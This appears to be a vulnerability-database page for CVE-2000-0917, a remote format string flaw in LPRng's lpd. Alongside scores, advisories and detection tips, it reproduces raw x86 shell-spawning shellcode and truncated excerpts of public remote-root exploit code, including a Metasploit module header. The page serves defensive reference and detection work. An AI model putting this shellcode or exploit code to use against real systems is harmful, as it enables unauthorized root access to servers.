CVE-2000-0917
published 2000-12-19CVE-2000-0917: Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands.
PriorityP262critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
78.66%
99.5th percentile
Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| caldera | openlinux_ebuilder | — | — |
| caldera | openlinux_edesktop | — | — |
| caldera | openlinux_eserver | — | — |
| redhat | linux | — | — |
| trustix | secure_linux | — | — |
| trustix | secure_linux | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
bytes↗
\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh
bytes↗
\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80...\xe8\xe3\xff\xff\xff/bin/sh
- →Monitor TCP port 515 (lpd) for connections containing format string specifiers (e.g., %n, %x, %d) in the request line, which are characteristic of this exploit. ↗
- →Detect exploit attempts by looking for the syslog error prefix 'Service_connection: bad request line' followed by format string tokens in lpd traffic on port 515/tcp. ↗
- →Look for NOP sled patterns (0x90 repeated) followed by known shellcode byte sequences in lpd (port 515/tcp) request payloads. ↗
- →Alert on brute-force connection patterns to port 515/tcp from a single source, iterating return addresses in steps of 4 bytes up to OFFSET_LIMIT (5000). ↗
- →The Metasploit module targets GOT entry of exit() at 0x80992d4 on Caldera OpenLinux 2.3; memory write to this address in lpd process space is a strong indicator of exploitation. ↗
- ·Payload space is constrained to 130 bytes for the Metasploit module; the buffer size on Caldera is 180 bytes, requiring ~50 bytes for the format string, leaving limited room for shellcode. ↗
- ·Return addresses and format string control offsets (NumPops/fsc) vary significantly by OS/distribution and must be tuned per target; brute-force is recommended if static values fail. ↗
- ·It is unclear if there is a way to auto-detect the lpd version via LPD commands, complicating remote fingerprinting for target selection. ↗
- ·The vulnerability was fixed in LPRng 3.6.25; Red Hat addressed it via RHSA-2000:065 for Red Hat Linux 7.0. ↗
CVSS provenance
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vendor_redhat10.0CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-3prc-rhm4-9vg8: Format string vulnerability in use_syslog() function in LPRng 3
ghsa_unreviewed·2022-05-03
CVE-2000-0917 [HIGH] GHSA-3prc-rhm4-9vg8: Format string vulnerability in use_syslog() function in LPRng 3
Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands.
Red Hat
security flaw
vendor_redhat·2000-09-25·CVSS 10.0
CVE-2000-0917 [CRITICAL] security flaw
security flaw
Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands.
Statement: This issue was fixed in the following product:
- Red Hat Linux 7.0 - RHSA-2000:065 (2000-09-26)
No detection rules found.
Exploit-DB
LPRng - use_syslog Remote Format String (Metasploit)
exploitdb·2010-07-03
CVE-2000-0917 LPRng - use_syslog Remote Format String (Metasploit)
LPRng - use_syslog Remote Format String (Metasploit)
---
##
# $Id: lprng_format_string.rb 9666 2010-07-03 01:09:32Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'LPRng use_syslog Remote Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in the LPRng print server.
This vulnerability was discovered by Chris Evans. There was a publicly
circulating worm targeting this vulnerability, which prompted RedHat to pull
their 7.0 release. They consequently re-released it as "7.0-respin".
},
Exploit-DB
LPRng 3.6.24-1 - Remote Command Execution
exploitdb·2000-12-15
CVE-2000-0917 LPRng 3.6.24-1 - Remote Command Execution
LPRng 3.6.24-1 - Remote Command Execution
---
/*
* REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 (RedHat 7.0)
*
* The RedHat 7.0 replaced the BSD lpr with the LPRng package which is
* vulnerable to format string attacks because it passes information
* to the syslog incorrectly.
* You can get remote root access on machines running RedHat 7.0 with
* lpd running (port 515/tcp) if it is not fixed, of course (3.6.25).
*
* bonus: I tested it too on slackware 7.0 with LPRng3.6.22-1, remember
* is -not- installed by default (isnt a package of the slackware).
*
* and,.. this code is for educational propourses only, do not use
* it on remote machines without authorization.
*
* greets: bruj0, ka0z, dn0, #rdC and #flatline
*
* coded by venomous of rdC - Argentinian security group.
* venomous@rd
Exploit-DB
LPRng 3.6.22/23/24 - Remote Command Execution
exploitdb·2000-12-11
CVE-2000-0917 LPRng 3.6.22/23/24 - Remote Command Execution
LPRng 3.6.22/23/24 - Remote Command Execution
---
/*
* LPRng remote root exploit for x86 Linux
* 9/27/00
*
* - sk8
* tested on compiled LPRng 3.6.22/23/24
*
*/
#include
#include
char sc[]=
"\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff"
"\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39"
"\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7"
"\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b"
"\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh";
#define NOP 0x90 //will be split up, doesn't matter
int main(int argc, char** argv) {
char getbuf[1000];
int bpad=0; /* was 2 */ /* 3 for other */
/* 2 - -34
3 - -41
0 - -42
*/
int i=0;
int eiploc=0x41424344;
char buffer[1024];
char fmtbuf[128];
int shloc=-1; //0xbffff2c8;
int hi=100;
int lo=200;
i
Exploit-DB
LPRng (RedHat 7.0) - 'lpd' Format String
exploitdb·2000-12-11
CVE-2000-0917 LPRng (RedHat 7.0) - 'lpd' Format String
LPRng (RedHat 7.0) - 'lpd' Format String
---
/*
* Copyright (c) 2000 - Security.is
*
* The following material may be freely redistributed, provided
* that the code or the disclaimer have not been partly removed,
* altered or modified in any way. The material is the property
* of security.is. You are allowed to adopt the represented code
* in your programs, given that you give credits where it's due.
*
* security.is presents: LPRng/Linux remote root lpd exploit.
*
* Author: DiGiT - [email protected]
*
* Thanks to: portal for elite formatstring talent ;>
* Greets to: security.is, #!ADM
*
* Wrote it because I wanted to hack my co-workers machines ;>
*
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*/
#include
#include
#include
#include
#include
#incl
Metasploit
LPRng use_syslog Remote Format String Vulnerability
metasploit
LPRng use_syslog Remote Format String Vulnerability
LPRng use_syslog Remote Format String Vulnerability
This module exploits a format string vulnerability in the LPRng print server. This vulnerability was discovered by Chris Evans. There was a publicly circulating worm targeting this vulnerability, which prompted RedHat to pull their 7.0 release. They consequently re-released it as "7.0-respin".
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:56.lprng.aschttp://archives.neohapsis.com/archives/bugtraq/2000-09/0293.htmlhttp://www.calderasystems.com/support/security/advisories/CSSA-2000-033.0.txthttp://www.cert.org/advisories/CA-2000-22.htmlhttp://www.redhat.com/support/errata/RHSA-2000-065.htmlhttp://www.securityfocus.com/bid/1712https://exchange.xforce.ibmcloud.com/vulnerabilities/5287ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:56.lprng.aschttp://archives.neohapsis.com/archives/bugtraq/2000-09/0293.htmlhttp://www.calderasystems.com/support/security/advisories/CSSA-2000-033.0.txthttp://www.cert.org/advisories/CA-2000-22.htmlhttp://www.redhat.com/support/errata/RHSA-2000-065.htmlhttp://www.securityfocus.com/bid/1712https://exchange.xforce.ibmcloud.com/vulnerabilities/5287
2000-12-19
Published